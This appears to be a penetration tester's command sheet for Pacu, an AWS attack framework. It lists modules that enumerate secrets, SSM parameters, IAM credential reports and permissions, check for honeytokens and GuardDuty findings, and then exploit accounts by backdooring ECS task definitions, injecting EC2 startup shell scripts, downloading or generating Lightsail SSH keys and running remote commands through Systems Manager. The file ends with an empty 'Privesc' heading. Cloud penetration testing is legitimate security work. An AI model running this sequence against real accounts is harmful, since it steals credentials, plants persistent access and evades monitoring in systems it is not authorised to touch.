Pacu

Run with:

load_file enum.txt

Enum:

run route53__enum
run apigateway__enum --regions us-east-1,us-east-2
run ebs__enum_volumes_snapshots --regions us-east-1,us-east-2
run lambda__enum --regions us-east-1,us-east-2
run ec2__check_termination_protection --regions us-east-1,us-east-2
run enum__secrets --regions us-east-1,us-east-2
run cloudformation__download_data --regions us-east-1,us-east-2
run ec2__enum --regions us-east-1,us-east-2
run transfer_family__enum --regions us-east-1,us-east-2
run dynamodb__enum --regions us-east-1,us-east-2
run iam__detect_honeytokens --regions us-east-1,us-east-2
run inspector__get_reports
run aws__enum_account
run iam__bruteforce_permissions
run rds__enum_snapshots --regions us-east-1,us-east-2
run systemsmanager__download_parameters --regions us-east-1,us-east-2
run glue__enum --regions us-east-1,us-east-2
run iam__enum_users_roles_policies_groups --regions us-east-1,us-east-2
run acm__enum --regions us-east-1,us-east-2
run ecr__enum --regions us-east-1,us-east-2
run codebuild__enum --regions us-east-1,us-east-2
run guardduty__list_accounts --regions us-east-1,us-east-2
run guardduty__list_findings --regions us-east-1,us-east-2
run lightsail__enum
run ecs__enum --regions us-east-1,us-east-2
run ec2__download_userdata
run iam__get_credential_report --regions us-east-1,us-east-2
run ecs__enum_task_def
run aws__enum_spend
run iam__enum_permissions
run eks__enum
run rds__enum --regions us-east-1,us-east-2
run rds__enum_snapshots --regions us-east-1,us-east-2

Exploit:

run  ebs__explore_snapshots --regions us-east-1,us-east-2
run  ecs__backdoor_task_def --regions us-east-1,us-east-2
run  lightsail__generate_temp_access --regions us-east-1,us-east-2
run  ec2__startup_shell_script --regions us-east-1,us-east-2
run  lightsail__download_ssh_keys --regions us-east-1,us-east-2
run  api_gateway__create_api_keys --regions us-east-1,us-east-2
run  systemsmanager__rce_ec2 --command 
run  lightsail__generate_ssh_keys --regions us-east-1,us-east-2

Privesc: